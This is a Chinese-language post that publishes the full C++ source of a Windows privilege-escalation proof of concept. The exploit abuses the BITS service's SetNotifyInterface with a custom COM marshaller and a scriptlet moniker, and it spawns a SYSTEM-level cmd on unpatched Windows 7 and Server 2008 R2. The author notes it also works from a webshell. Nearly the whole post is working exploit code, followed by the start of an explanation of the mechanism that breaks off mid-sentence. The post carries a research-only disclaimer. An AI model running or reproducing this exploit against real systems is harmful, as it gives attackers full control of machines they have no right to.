分析过程
poc说明:可在未打微软2018年6月份安全补丁的win7x64,server2008r2x64运行,支持webshell模式,
支持任意用户运行,运行后获得一个system权限的cmd,提供poc源码和编译后的exe
我的poc仅供研究目的,如果读者利用本poc从事其他行为,与本人无关
我的poc源码:
#pragma comment(lib, "shlwapi.lib") //myguid GUID IID_Imytestcom = { 0xE80A6EC1, 0x39FB, 0x462A, { 0xA5, 0x6C, 0x41, 0x1E, 0xE9, 0xFC, 0x1A, 0xEB } }; GUID IID_ITMediaControl = { 0xc445dde8, 0x5199, 0x4bc7, { 0x98, 0x07, 0x5f, 0xfb, 0x92, 0xe4, 0x2e, 0x09 } }; //ole32guid GUID CLSID_AggStdMarshal2 = { 0x00000027, 0x0000, 0x0008, { 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46 } }; GUID CLSID_FreeThreadedMarshaller = { 0x0000033A, 0x0000, 0x0000, { 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46 } }; GUID CLSID_StubMYTestCom = { 0x00020424, 0x0000, 0x0000, { 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, } }; GUID IID_IStdIdentity = { 0x0000001b, 0x0000, 0x0000, { 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46 } }; GUID IID_IMarshalOptions = { 0X4C1E39E1, 0xE3E3, 0x4296, { 0xAA, 0x86, 0xEC, 0x93, 0x8D, 0x89, 0x6E, 0x92 } }; GUID CLSID_DfMarshal = { 0x0000030B, 0x0000, 0x0000, { 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46 } }; GUID IID_IStdFreeMarshal = { 0x000001d0, 0x0000, 0x0000, { 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46 } }; //GUID IID_IStdMarshalInfo = { 0x00000018, 0x0000, 0x0000, { 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46,} }; //GUID IID_IExternalConnection = { 0x00000019, 0x0000, 0x0000, { 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46,} }; //GUID IID_IStdFreeMarshal = { 0x000001d0, 0x0000, 0x0000, { 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46 } }; //GUID IID_IProxyManager = { 0x00000008, 0x0000, 0x0000, { 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46 } }; GUID CLSID_StdWrapper = { 0x00000336, 0x0000, 0x0000, { 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46 } }; GUID CLSID_StdWrapperNoHeader = { 0x00000350, 0x0000, 0x0000, { 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46 } }; GUID IID_IObjContext = { 0x051372ae0, 0xcae7, 0x11cf, { 0xbe, 0x81, 0x00, 0xaa, 0x00, 0xa2, 0xfa, 0x25 } }; //program static bstr_t IIDToBSTR(REFIID riid) { LPOLESTR str; bstr_t ret = "Unknown"; if (SUCCEEDED(StringFromIID(riid, &str))) { ret = str; CoTaskMemFree(str); } return ret; } typedef HRESULT(__stdcall *CoCreateObjectInContext)(IUnknown *pServer, IUnknown *pCtx, _GUID *riid, void **ppv); typedef HRESULT(__stdcall *CreateProxyFromTypeInfo)(ITypeInfo* pTypeInfo, IUnknown* pUnkOuter, REFIID riid, IRpcProxyBuffer** ppProxy, void** ppv); typedef HRESULT(__stdcall *CreateStubFromTypeInfo)(ITypeInfo* pTypeInfo, REFIID riid, IUnknown* pUnkServer, IRpcStubBuffer** ppStub); DEFINE_GUID(IID_ISecurityCallContext, 0xcafc823e, 0xb441, 0x11d1, 0xb8, 0x2b, 0x00, 0x00, 0xf8, 0x75, 0x7e, 0x2a); DEFINE_GUID(IID_IObjectContext, 0x51372ae0, 0xcae7, 0x11cf, 0xbe, 0x81, 0x00, 0xaa, 0x00, 0xa2, 0xfa, 0x25); _COM_SMARTPTR_TYPEDEF(IBackgroundCopyJob, __uuidof(IBackgroundCopyJob)); _COM_SMARTPTR_TYPEDEF(IBackgroundCopyManager, __uuidof(IBackgroundCopyManager)); class CMarshaller : public IMarshal { LONG _ref_count; IUnknown * _unk; ~CMarshaller() {} public: CMarshaller(IUnknown * unk) : _ref_count(1) { _unk = unk; } virtual HRESULT STDMETHODCALLTYPE QueryInterface( /* [in] */ REFIID riid, /* [iid_is][out] */ _COM_Outptr_ void __RPC_FAR *__RPC_FAR *ppvObject) { *ppvObject = nullptr; printf("QI [CMarshaller] - Marshaller: %ls %p\n", IIDToBSTR(riid).GetBSTR(), this); if (riid == IID_IUnknown) { *ppvObject = this; } else if (riid == IID_IMarshal) { *ppvObject = static_cast(this); } else { return E_NOINTERFACE; } printf("Queried Success: %p\n", *ppvObject); ((IUnknown *)*ppvObject)->AddRef(); return S_OK; } virtual ULONG STDMETHODCALLTYPE AddRef(void) { printf("AddRef: %d\n", _ref_count); return InterlockedIncrement(&_ref_count); } virtual ULONG STDMETHODCALLTYPE Release(void) { printf("Release: %d\n", _ref_count); ULONG ret = InterlockedDecrement(&_ref_count); if (ret == 0) { printf("Release object %p\n", this); delete this; } return ret; } virtual HRESULT STDMETHODCALLTYPE GetUnmarshalClass( /* [annotation][in] */ _In_ REFIID riid, /* [annotation][unique][in] */ _In_opt_ void *pv, /* [annotation][in] */ _In_ DWORD dwDestContext, /* [annotation][unique][in] */ _Reserved_ void *pvDestContext, /* [annotation][in] */ _In_ DWORD mshlflags, /* [annotation][out] */ _Out_ CLSID *pCid) { //CLSIDFromString(L"{E80A6EC1-39FB-462A-A56C-411EE9FC1AEB}", pCid); printf("Call: GetUnmarshalClass\n"); GUID marshalInterceptorGUID = { 0xecabafcb, 0x7f19, 0x11d2, { 0x97, 0x8e, 0x00, 0x00, 0xf8, 0x75, 0x7e, 0x2a } }; *pCid = marshalInterceptorGUID; // ECABAFCB-7F19-11D2-978E-0000F8757E2A return S_OK; } virtual HRESULT STDMETHODCALLTYPE MarshalInterface( /* [annotation][unique][in] */ _In_ IStream *pStm, /* [annotation][in] */ _In_ REFIID riid, /* [annotation][unique][in] */ _In_opt_ void *pv, /* [annotation][in] */ _In_ DWORD dwDestContext, /* [annotation][unique][in] */ _Reserved_ void *pvDestContext, /* [annotation][in] */ _In_ DWORD mshlflags) { printf("Marshal marshalInterceptorGUID Interface: %ls\n", IIDToBSTR(riid).GetBSTR()); GUID marshalInterceptorGUID = { 0xecabafcb, 0x7f19, 0x11d2, { 0x97, 0x8e, 0x00, 0x00, 0xf8, 0x75, 0x7e, 0x2a } }; printf("Call: MarshalInterface\n"); ULONG written = 0; HRESULT hr = 0; IMonikerPtr scriptMoniker; IMonikerPtr newMoniker; IBindCtxPtr context; GUID compositeMonikerGUID = { 0x00000309, 0x0000, 0x0000, { 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46 } }; UINT header[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; UINT monikers[] = { 0x02, 0x00, 0x00, 0x00 }; GUID newMonikerGUID = { 0xecabafc6, 0x7f19, 0x11d2, { 0x97, 0x8e, 0x00, 0x00, 0xf8, 0x75, 0x7e, 0x2a } }; pStm->Write(header, 12, &written); pStm->Write(GuidToByteArray(marshalInterceptorGUID), 16, &written); pStm->Write(monikers, 4, &written); pStm->Write(GuidToByteArray(compositeMonikerGUID), 16, &written); pStm->Write(monikers, 4, &written); hr = CreateBindCtx(0, &context); ULONG cchEaten; //导致最终结果的scriptMoniker hr = MkParseDisplayName(context, GetExeDirMarshal() + L"\\run.sct", &cchEaten, &scriptMoniker); hr = CoCreateInstance(newMonikerGUID, NULL, CLSCTX_ALL, IID_IUnknown, (LPVOID*)&newMoniker); hr = OleSaveToStream(scriptMoniker, pStm); hr = OleSaveToStream(newMoniker, pStm); return hr; } bstr_t GetExeDirMarshal() { WCHAR curr_path[MAX_PATH] = { 0 }; GetModuleFileName(nullptr, curr_path, MAX_PATH); PathRemoveFileSpec(curr_path); return curr_path; } unsigned char const* GuidToByteArray(GUID const& g) { return reinterpret_cast(&g); } virtual HRESULT STDMETHODCALLTYPE GetMarshalSizeMax( /* [annotation][in] */ _In_ REFIID riid, /* [annotation][unique][in] */ _In_opt_ void *pv, /* [annotation][in] */ _In_ DWORD dwDestContext, /* [annotation][unique][in] */ _Reserved_ void *pvDestContext, /* [annotation][in] */ _In_ DWORD mshlflags, /* [annotation][out] */ _Out_ DWORD *pSize) { *pSize = 1024; return S_OK; } virtual HRESULT STDMETHODCALLTYPE UnmarshalInterface( /* [annotation][unique][in] */ _In_ IStream *pStm, /* [annotation][in] */ _In_ REFIID riid, /* [annotation][out] */ _Outptr_ void **ppv) { return E_NOTIMPL; } virtual HRESULT STDMETHODCALLTYPE ReleaseMarshalData( /* [annotation][unique][in] */ _In_ IStream *pStm) { return S_OK; } virtual HRESULT STDMETHODCALLTYPE DisconnectObject( /* [annotation][in] */ _In_ DWORD dwReserved) { return S_OK; } }; class FakeObject : public IBackgroundCopyCallback2, public IPersist { HANDLE m_ptoken; LONG m_lRefCount; IUnknown *_umk; ~FakeObject() {}; public: //Constructor, Destructor FakeObject(IUnknown *umk) { _umk = umk; m_lRefCount = 1; } //IUnknown HRESULT __stdcall QueryInterface(REFIID riid, LPVOID *ppvObj) { printf("QI [FakeObject] - Marshaller: %ls %p\n", IIDToBSTR(riid).GetBSTR(), this); if (riid == __uuidof(IUnknown)) { printf("Query for IUnknown\n"); *ppvObj = this; } else if (riid == __uuidof(IBackgroundCopyCallback2)) { printf("Query for IBackgroundCopyCallback2\n"); } else if (riid == __uuidof(IBackgroundCopyCallback)) { printf("Query for IBackgroundCopyCallback\n"); } else if (riid == __uuidof(IPersist)) { printf("Query for IPersist\n"); *ppvObj = static_cast(this); //*ppvObj = _unk2; } else if (riid == IID_ITMediaControl) { printf("Query for ITMediaControl\n"); *ppvObj = static_cast(this); //*ppvObj = this; } else if (riid == CLSID_AggStdMarshal2) { printf("Query for CLSID_AggStdMarshal2\n"); *ppvObj = (this); } else if (riid == IID_IMarshal) { printf("Query for IID_IMarshal\n"); //*ppvObj = static_cast(this); *ppvObj = NULL; return E_NOINTERFACE; } else if (riid == IID_IMarshalOptions) { printf("PrivateTarProxy IID_IMarshalOptions IID: %ls %p\n", IIDToBSTR(riid).GetBSTR(), this); ppvObj = NULL; return E_NOINTERFACE; } else { printf("Unknown IID: %ls %p\n", IIDToBSTR(riid).GetBSTR(), this); *ppvObj = NULL; return E_NOINTERFACE; } ((IUnknown *)*ppvObj)->AddRef(); return NOERROR; } ULONG __stdcall AddRef() { return InterlockedIncrement(&m_lRefCount); } ULONG __stdcall Release() { ULONG ulCount = InterlockedDecrement(&m_lRefCount); if (0 == ulCount) { delete this; } return ulCount; } virtual HRESULT STDMETHODCALLTYPE JobTransferred( /* [in] */ __RPC__in_opt IBackgroundCopyJob *pJob) { printf("JobTransferred\n"); return S_OK; } virtual HRESULT STDMETHODCALLTYPE JobError( /* [in] */ __RPC__in_opt IBackgroundCopyJob *pJob, /* [in] */ __RPC__in_opt IBackgroundCopyError *pError) { printf("JobError\n"); return S_OK; } virtual HRESULT STDMETHODCALLTYPE JobModification( /* [in] */ __RPC__in_opt IBackgroundCopyJob *pJob, /* [in] */ DWORD dwReserved) { printf("JobModification\n"); return S_OK; } virtual HRESULT STDMETHODCALLTYPE FileTransferred( /* [in] */ __RPC__in_opt IBackgroundCopyJob *pJob, /* [in] */ __RPC__in_opt IBackgroundCopyFile *pFile) { printf("FileTransferred\n"); return S_OK; } virtual HRESULT STDMETHODCALLTYPE GetClassID( /* [out] */ __RPC__out CLSID *pClassID) { printf("GetClassID\n"); *pClassID = GUID_NULL; return S_OK; } }; class ScopedHandle { HANDLE _h; public: ScopedHandle() : _h(nullptr) { } ScopedHandle(ScopedHandle&) = delete; ScopedHandle(ScopedHandle&& h) { _h = h._h; h._h = nullptr; } ~ScopedHandle() { if (!invalid()) { CloseHandle(_h); _h = nullptr; } } bool invalid() { return (_h == nullptr) || (_h == INVALID_HANDLE_VALUE); } void set(HANDLE h) { _h = h; } HANDLE get() { return _h; } HANDLE* ptr() { return &_h; } }; _COM_SMARTPTR_TYPEDEF(IEnumBackgroundCopyJobs, __uuidof(IEnumBackgroundCopyJobs)); void TestBits(HANDLE hEvent) { IBackgroundCopyManagerPtr pQueueMgr; IID CLSID_BackgroundCopyManager; IID IID_IBackgroundCopyManager; CLSIDFromString(L"{4991d34b-80a1-4291-83b6-3328366b9097}", &CLSID_BackgroundCopyManager); CLSIDFromString(L"{5ce34c0d-0dc9-4c1f-897c-daa1b78cee7c}", &IID_IBackgroundCopyManager); HRESULT hr = CoCreateInstance(CLSID_BackgroundCopyManager, NULL, CLSCTX_ALL, IID_IBackgroundCopyManager, (void**)&pQueueMgr); IUnknown * pOuter = new CMarshaller(static_cast(new FakeObject(nullptr))); IUnknown * pInner; CoGetStdMarshalEx(pOuter, CLSCTX_INPROC_SERVER, &pInner); IBackgroundCopyJobPtr pJob; GUID guidJob; IEnumBackgroundCopyJobsPtr enumjobs; hr = pQueueMgr->EnumJobsW(0, &enumjobs); if (SUCCEEDED(hr)) { IBackgroundCopyJob* currjob; ULONG fetched = 0; while ((enumjobs->Next(1, &currjob, &fetched) == S_OK) && (fetched == 1)) { LPWSTR lpStr; if (SUCCEEDED(currjob->GetDisplayName(&lpStr))) { if (wcscmp(lpStr, L"BitsAuthSample") == 0) { CoTaskMemFree(lpStr); currjob->Cancel(); currjob->Release(); break; } } currjob->Release(); } } pQueueMgr->CreateJob(L"BitsAuthSample", BG_JOB_TYPE_DOWNLOAD, &guidJob, &pJob); IUnknownPtr pNotify; pNotify.Attach(new CMarshaller(pInner)); { //ScopedHandle link = CreateSymlink(L"\\??\\C:", GetCurrentPath()); HRESULT hr = pJob->SetNotifyInterface(pNotify); printf("Result: %08X\n", hr); } if (pJob) { pJob->Cancel(); } printf("Done\n"); SetEvent(hEvent); } bstr_t GetExeDir() { WCHAR curr_path[MAX_PATH] = { 0 }; GetModuleFileName(nullptr, curr_path, MAX_PATH); PathRemoveFileSpec(curr_path); return curr_path; } void WriteFile(bstr_t path, const std::vector data) { ScopedHandle hFile; hFile.set(CreateFile(path, GENERIC_WRITE, 0, nullptr, CREATE_ALWAYS, 0, nullptr)); if (hFile.invalid()) { throw _com_error(E_FAIL); } if (data.size() > 0) { DWORD bytes_written; if (!WriteFile(hFile.get(), data.data(), data.size(), &bytes_written, nullptr) || bytes_written != data.size()) { throw _com_error(E_FAIL); } } } void WriteFile(bstr_t path, const char* data) { const BYTE* bytes = reinterpret_cast(data); std::vector data_buf(bytes, bytes + strlen(data)); WriteFile(path, data_buf); } std::vector ReadFile(bstr_t path) { ScopedHandle hFile; hFile.set(CreateFile(path, GENERIC_READ, 0, nullptr, OPEN_EXISTING, 0, nullptr)); if (hFile.invalid()) { throw _com_error(E_FAIL); } DWORD size = GetFileSize(hFile.get(), nullptr); std::vector ret(size); if (size > 0) { DWORD bytes_read; if (!ReadFile(hFile.get(), ret.data(), size, &bytes_read, nullptr) || bytes_read != size) { throw _com_error(E_FAIL); } } return ret; } bstr_t GetExe() { WCHAR curr_path[MAX_PATH] = { 0 }; GetModuleFileName(nullptr, curr_path, MAX_PATH); return curr_path; } const wchar_t x[] = L"ABC"; const wchar_t scriptlet_start[] = L"\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n"; bstr_t CreateScriptletFile() { bstr_t script_file = GetExeDir() + L"\\run.sct"; DeleteFile(script_file); bstr_t script_data = scriptlet_start; bstr_t exe_file = GetExe(); wchar_t* p = exe_file; while (*p) { if (*p == '\\') { *p = '/'; } p++; } DWORD session_id; ProcessIdToSessionId(GetCurrentProcessId(), &session_id); WCHAR session_str[16]; StringCchPrintf(session_str, _countof(session_str), L"%d", session_id); script_data += L"\"" + exe_file + L"\" " + session_str + scriptlet_end; WriteFile(script_file, script_data); return script_file; } void CreateNewProcess(const wchar_t* session) { DWORD session_id = wcstoul(session, nullptr, 0); ScopedHandle token; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, token.ptr())) { throw _com_error(E_FAIL); } ScopedHandle new_token; if (!DuplicateTokenEx(token.get(), TOKEN_ALL_ACCESS, nullptr, SecurityAnonymous, TokenPrimary, new_token.ptr())) { throw _com_error(E_FAIL); } SetTokenInformation(new_token.get(), TokenSessionId, &session_id, sizeof(session_id)); STARTUPINFO start_info = {}; start_info.cb = sizeof(start_info); start_info.lpDesktop = L"WinSta0\\Default"; PROCESS_INFORMATION proc_info; WCHAR cmdline[] = L"cmd.exe"; if (CreateProcessAsUser(new_token.get(), nullptr, cmdline, nullptr, nullptr, FALSE, CREATE_NEW_CONSOLE, nullptr, nullptr, &start_info, &proc_info)) { CloseHandle(proc_info.hProcess); CloseHandle(proc_info.hThread); } } const LPCOLESTR Tapi3tlb_path = L"C:\\dl\\cve\\Windows\\System32\\tapi3.dll"; int _tmain(int argc, _TCHAR* argv[]) { try { CreateScriptletFile(); if (argc > 1) { CreateNewProcess(argv[1]); } else { HANDLE hTokenTmp = 0; HANDLE hEvent = CreateEvent(NULL, FALSE, FALSE, NULL); HRESULT hr = 0; hr = CoInitialize(NULL); hr = CoInitializeSecurity( NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_CONNECT, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_DYNAMIC_CLOAKING | 8, NULL); if (FAILED(hr)) { return false; } TestBits(hEvent); char szInput[64]; scanf_s("%[a-z0-9]", szInput); CloseHandle(hEvent); } } catch (const _com_error& err) { printf("Error: %ls\n", err.ErrorMessage()); } CoUninitialize();//释放COM return 0; }
poc原理:在windows下有个以system权限运行的Background Intelligent Transfer Service服务(简称bits),调用bits服务的公开api中的IBackgroundCopyJob->SetNotifyInterface接口,我的利用方式是,在poc中创建的类[CMarshaller],也就是SetNotifyInterface接口的参数Interface(远程com对象),因为这个类继承了IMarshal接口,bits为了获得这个Interface,b